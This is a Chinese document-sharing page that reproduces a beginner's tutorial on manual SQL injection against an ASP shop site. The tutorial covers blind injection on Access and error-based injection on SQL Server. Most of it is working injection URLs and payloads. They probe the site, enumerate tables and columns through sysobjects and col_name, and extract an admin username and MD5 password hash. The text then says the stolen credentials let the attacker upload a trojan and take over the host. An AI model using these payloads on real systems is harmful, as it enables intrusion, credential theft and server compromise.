全程图解手工注入.docx

上传人:b****6 文档编号:7699291 上传时间:2023-05-11 格式:DOCX 页数:11 大小:732.57KB
下载 相关 举报
全程图解手工注入.docx_第1页
第1页 / 共11页
全程图解手工注入.docx_第2页
第2页 / 共11页
全程图解手工注入.docx_第3页
第3页 / 共11页
全程图解手工注入.docx_第4页
第4页 / 共11页
全程图解手工注入.docx_第5页
第5页 / 共11页
全程图解手工注入.docx_第6页
第6页 / 共11页
全程图解手工注入.docx_第7页
第7页 / 共11页
全程图解手工注入.docx_第8页
第8页 / 共11页
全程图解手工注入.docx_第9页
第9页 / 共11页
全程图解手工注入.docx_第10页
第10页 / 共11页
全程图解手工注入.docx_第11页
第11页 / 共11页
亲,该文档总共11页,全部预览完了,如果喜欢就下载吧!
下载资源
资源描述

全程图解手工注入.docx

《全程图解手工注入.docx》由会员分享,可在线阅读,更多相关《全程图解手工注入.docx(11页珍藏版)》请在冰点文库上搜索。

全程图解手工注入.docx

全程图解手工注入

全程图解手工注入

回忆起刚学注入的时候,网上的教程杂乱无章,更郁闷的是。

文章被无数次转载,很多常用的命令都出现错误,导致学习的很慢,差点对手工注入失去了信心。

为了帮助初学者学习手工注入,从盲注和sql显错方式注入详细的写了图解教程,希望对初学者有帮助。

第一部分盲注过程(使用了access数据库)

一、寻找注入点:

使用经典的1=1和1=2测试法

输入http:

//127.0.0.1/shop/Shop(Access)/looknews.asp?

id=26,显示

输入http:

//127.0.0.1/shop/Shop(Access)/looknews.asp?

id=26and1=1时,显示

输入http:

//127.0.0.1/shop/Shop(Access)/looknews.asp?

id=26and1=2时,显示

发生异常,存在注入漏洞.

二、判断数据库类型

(一)iis允许返回错误的情况

输入http:

//127.0.0.1/shop/Shop(Access)/looknews.asp?

id=26anduser>0,显示

“MicrosoftJETDatabaseEngine(0x80040E07)标准表达式中数据类型不匹配”,表明数据库为Access。

(二)如果服务器IIS不允许返回错误,就从从Access和SQLServer和区别入手。

Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表

[sysobjects]中,在Web环境下可正常读取。

输入http:

//127.0.0.1/shop/Shop(Access)/looknews.asp?

id=26and(selectcount(*)frommsysobjects)>0,显示如下图,由此可判断数据库类型为Access。

 

三猜表名

输入http:

//127.0.0.1/shop/Shop(Access)/looknews.asp?

id=26andexists(select*from[admin]),显示正常,证明数据库中存在admin表

如果不存在某字段,比如“XXX”,输入http:

//127.0.0.1/shop/Shop(Access)/looknews.asp?

id=26andexists(select

*from[XXX],则显示错误

四、猜列名

输入http:

//127.0.0.1/shop/Shop(Access)/looknews.asp?

id=26andexists(select[username]from[admin]),显示正常,说明admin表存在username字段

如果不存在,则显示错误。

五、猜字段长度和内容

准备猜admin中username字段的第一条记录的长度,输入http:

//127.0.0.1/shop/Shop(Access)/looknews.asp?

id=26and(selecttop1len(username)fromAdmin)>0此语句的意思是,username的长度与0,1,2,3,4,5,6等数字比较,显然,如果字段长度为2,则2>0,1成立,2之后的数字不成立。

,如图

说明username中第一条记录的长度是2,然后猜测它的内容。

用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码。

同样也是用逐步缩小范围的方法得到第1位字符的ASCII码。

输入http:

//127.0.0.1/shop/Shop(Access)/looknews.asp?

id=26and(selecttop1asc(mid(username,1,1))fromAdmin)>0,1,2…,当输入到109时,显示错误,而108之前显示正确,说明第一个字符的ASCII码为109.,得到第一个字符是m。

同理用and(selecttop1asc(mid(username,2,1)fromAdmin)>0,,2…到114的时候不成立,说明第二个字符的ASCII码值为114,字符为r,说明第一个用户名为mr。

同理,可以pass字段的值。

这样猜解自然比较累,效率也不高,可以用折半法,写成程序猜解。

我们这样就得到了后台的数据库用户名和密码。

之后就可以上传自己的马了,进而控制主机。

第二部分sqlserver显错模式注入

一、寻找注入点:

使用经典的1=1和1=2测试法

输入http:

//127.0.0.1/shop/Shop(SQL%20Server)/looknews.asp?

id=20%20and%201=1显示正常。

输入http:

//127.0.0.1/shop/Shop(SQL%20Server)/looknews.asp?

id=20%20and%201=2,出错,说

明存在注入点。

下一步判断数据库类型。

二、判断数据库类型和数据库名

输入http:

//127.0.0.1/shop/Shop(SQL%20Server)/looknews.asp?

id=20anduser>0,如图:

表明是SQLServer数据库,错误提示开启。

user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。

拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,转换过程中会出错,如图“将nvarchar值'dbo'转换成数据类型int时失败”,说明当前用户是sa登录。

如果服务器IIS不允许返回错误提示,可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

通过http:

//127.0.0.1/shop/Shop(SQL%20Server)/looknews.asp?

id=20and(selectcount(*)fromsysobjects)>0

http:

//127.0.0.1/shop/Shop(SQL%20Server)/looknews.asp?

id=20and(selectcount(*)frommsysobjects)>0

也可以判断出数据库类型。

也可以用“and0<>(select@@version)--”返回对方系统的版本和sql具体版本。

输入后,如图

进一步,输入http:

//127.0.0.1/shop/Shop(SQL%20Server)/looknews.asp?

id=20anddb_name()>0,返回数据库名,如图

可得到数据库名为“shop”。

三猜表名

因为本网站可以显示错误,根据SQLServer数据库的特点,可以附加一些特殊的语句来达到爆出数据库的表名,列名以及内容。

如果不能显示错误,可以用猜测和折半法相结合的方式,得到这些信息,这种方法在Access数据库注入过程中已经体现,下文用附加特殊语句的方式来得到这些信息。

SQLSERVER的每一个数据库都会有用户表和系统表,在系统表sysobjects中,数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在sysobjects表中占一行,那么也就是说当前数据库的表名都会在该表内有存在。

我们常用到的参数有三个,name(数据表的名字),xtype(数据表的类型u为用户表),id(数据表的对象标志)。

我们附加这样一段语句“and(selecttop1namefromsysobjectswherextype=’U’)>0”

得到shop的第一个表名“user”,然后附加“and(selecttop1namefromsysobjectswherextype=’U’andnamenotin(‘user’))>0”,得到第二个表名,如图

得到第二个表名“bigclass”,依此类推,得到“class”“admin”等所有用户表。

四、猜列名

我们对admin进行列名猜解。

用到系统自带的2个函数col_name()和object_id(),col_name()的格式是“COL_NAME(table_id,column_id)”,参数table_id是表的标识号,column_id是列的标识号,object_id(admin)就是得到admin在sysobjects中的标识号,column_id=1,2,3表明admin的第1,2,3列,于是构造

and(selecttop1col_name(object_id(‘admin’),1)fromsysobjects)>0,如图:

得到admin字段的第一个列名“username”依次类推,得到“pass”“vip”等。

五、猜字段内容

我们附加“and(selecttop1usernamefrom[admin])>0”显示结果如图:

可得到用户名“mr”,再附加“and(selecttop1passfrom[admin])>0”,如图:

这样,我们就得到了mr用户密码的md5值'd7b0a59bada06ad1'。

我们有了后台的用户名密码,就可以进行下一步攻击。

展开阅读全文
相关资源
猜你喜欢
相关搜索
资源标签

当前位置:首页 > 医药卫生 > 临床医学

copyright@ 2008-2023 冰点文库 网站版权所有

经营许可证编号:鄂ICP备19020893号-2